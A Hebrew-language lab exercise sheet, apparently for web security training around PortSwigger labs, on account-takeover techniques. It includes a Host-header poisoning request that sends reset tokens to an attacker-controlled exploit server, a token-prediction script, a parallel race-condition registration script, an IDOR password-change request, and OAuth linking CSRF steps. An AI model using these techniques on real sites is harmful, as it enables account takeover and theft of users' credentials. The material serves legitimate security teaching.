לדלג לתוכן

השתלטות על חשבונות - תרגיל

תרגיל 1: הרעלת Host Header באיפוס סיסמה

רקע

אפליקציה מאפשרת איפוס סיסמה. כאשר מבקשים איפוס, המערכת שולחת מייל עם לינק. נבדוק אם ה-Host header משפיע על הלינק.

משימות

  1. גשו לדף "שכחתי סיסמה"
  2. בקשו איפוס עבור המשתמש שלכם (wiener) ובדקו את המייל שהתקבל
  3. שימו לב ל-URL של לינק האיפוס - מאיפה נלקח הדומיין?
  4. כעת בקשו איפוס עבור carlos עם שינוי Host header:
    POST /forgot-password HTTP/1.1
    Host: YOUR_EXPLOIT_SERVER
    
    username=carlos
    
  5. בדקו בלוג של exploit server אם הטוקן הגיע
  6. אם לא עבד, נסו:
  7. X-Forwarded-Host header
  8. כפל Host headers
  9. Host עם port
  10. השתמשו בטוקן שנלכד לאיפוס הסיסמה של carlos

מעבדת PortSwigger

בצעו את המעבדות:
- Basic password reset poisoning
- Password reset poisoning via middleware
- Password reset poisoning via dangling markup


תרגיל 2: חיזוי טוקן איפוס

רקע

אפליקציה מייצרת טוקני איפוס חלשים. עליכם לנתח את הדפוס ולחזות את הטוקן הבא.

משימות

  1. בקשו 10 טוקני איפוס עבור החשבון שלכם
  2. רשמו את כל הטוקנים ואת הזמן המדויק של כל בקשה
  3. נתחו את הטוקנים:
  4. מה האורך? האם הוא קבוע?
  5. נסו לפענח Base64/hex
  6. בדקו מתאם עם timestamp
  7. בדקו אם הם סדרתיים
  8. כתבו סקריפט שמחזה את הטוקן הבא
  9. בקשו איפוס עבור carlos ונסו לחזות את הטוקן

רמזים

# נסו את הבדיקות הבאות:
import hashlib
import base64

token = "THE_TOKEN_HERE"

# בדיקת Base64
try:
    print(base64.b64decode(token))
except:
    pass

# בדיקת MD5 של timestamp
for ts in range(int(time.time()) - 60, int(time.time()) + 1):
    if hashlib.md5(str(ts).encode()).hexdigest() == token:
        print(f"Token = MD5({ts})")

תרגיל 3: עקיפת אימות מייל

רקע

אפליקציה דורשת אימות מייל בהרשמה, אך ייתכן שהאימות חלש.

משימות

  1. הירשמו לאפליקציה עם מייל שלכם
  2. קבלו את לינק האימות ונתחו אותו
  3. בדקו:
  4. האם ניתן לשנות את כתובת המייל בלינק?
  5. האם הטוקן קשור למשתמש ספציפי?
  6. האם ניתן להשתמש בטוקן של משתמש אחד לאימות משתמש אחר?
  7. נסו להירשם עם מייל של הקורבן ולהשתמש בטוקן שלכם לאימות
  8. בדקו אם ניתן לגשת לפונקציות ללא אימות מייל

תרגיל 4: Race Condition בהרשמה

רקע

אפליקציה בודקת כפילויות בהרשמה, אך ייתכן שהבדיקה אינה אטומית.

משימות

  1. נסו להירשם פעמיים עם אותו מייל - ודאו שזה נחסם
  2. כעת שלחו 20 בקשות הרשמה במקביל עם אותו מייל
  3. בדקו כמה חשבונות נוצרו
  4. אם נוצרו כפילויות - מה ההשלכות?

סקריפט

# השלימו
import requests
import threading

TARGET = "https://TARGET_URL/register"
EMAIL = "test@test.com"

def register(password):
    resp = requests.post(TARGET, json={
        "email": EMAIL,
        "password": password
    })
    print(f"  [{password}] -> {resp.status_code}")

# שלחו 20 בקשות במקביל
threads = []
for i in range(20):
    t = threading.Thread(target=register, args=(f"pass{i}",))
    threads.append(t)

for t in threads:
    t.start()
for t in threads:
    t.join()

תרגיל 5: שינוי סיסמה ללא אימות

רקע

אפליקציה מאפשרת שינוי סיסמה. בדקו אם ניתן לשנות את הסיסמה של משתמש אחר.

משימות

  1. שנו את הסיסמה שלכם בדרך הרגילה ויירטו את הבקשה
  2. בדקו אילו פרמטרים נשלחים:
  3. האם יש שדה username או user_id?
  4. האם הסיסמה הישנה נדרשת?
  5. האם יש טוקן CSRF?
  6. נסו:
  7. לשנות את ה-username/user_id למשתמש אחר
  8. להסיר את שדה הסיסמה הישנה
  9. לשלוח את הבקשה ללא cookie (בדיקת access control)

בקשה לדוגמה

POST /change-password HTTP/1.1
Cookie: session=YOUR_SESSION

{
    "username": "carlos",
    "current_password": "",
    "new_password": "hacked123"
}

תרגיל 6: ניצול Social Login

רקע

אפליקציה מאפשרת קישור חשבון OAuth. בדקו אם ניתן לקשר את חשבון ה-OAuth שלכם לחשבון של משתמש אחר.

משימות

  1. היכנסו עם החשבון שלכם
  2. התחילו תהליך קישור חשבון OAuth
  3. יירטו את ה-callback URL עם ה-authorization code
  4. בדקו אם יש הגנת CSRF (state parameter)
  5. אם אין - שלחו את ה-callback URL לקורבן (שמחובר לאפליקציה)
  6. החשבון שלכם אמור להתקשר לחשבון הקורבן

תרגיל 7: תרחיש מלא

תרחיש

אתר מסחר אלקטרוני עם הפונקציות הבאות:
- הרשמה והתחברות
- שכחתי סיסמה
- שינוי פרטי פרופיל (מייל, סיסמה)
- Social Login (Google)

משימות

בצעו בדיקת אבטחה מלאה לכל מנגנוני האותנטיקציה:

  1. מפו את כל נקודות הקצה הקשורות לאותנטיקציה
  2. בדקו כל מנגנון:
  3. הרשמה: race conditions, אימות מייל
  4. התחברות: brute force, credential stuffing
  5. איפוס: host header poisoning, token prediction
  6. שינוי סיסמה: IDOR, missing old password
  7. Social Login: CSRF, account linking
  8. תעדו כל חולשה שמצאתם

דוח

הגישו דוח מפורט עם:
- סיכום ממצאים
- שלבי שחזור לכל חולשה
- הוכחת יתכנות (PoC)
- דירוג חומרה
- המלצות תיקון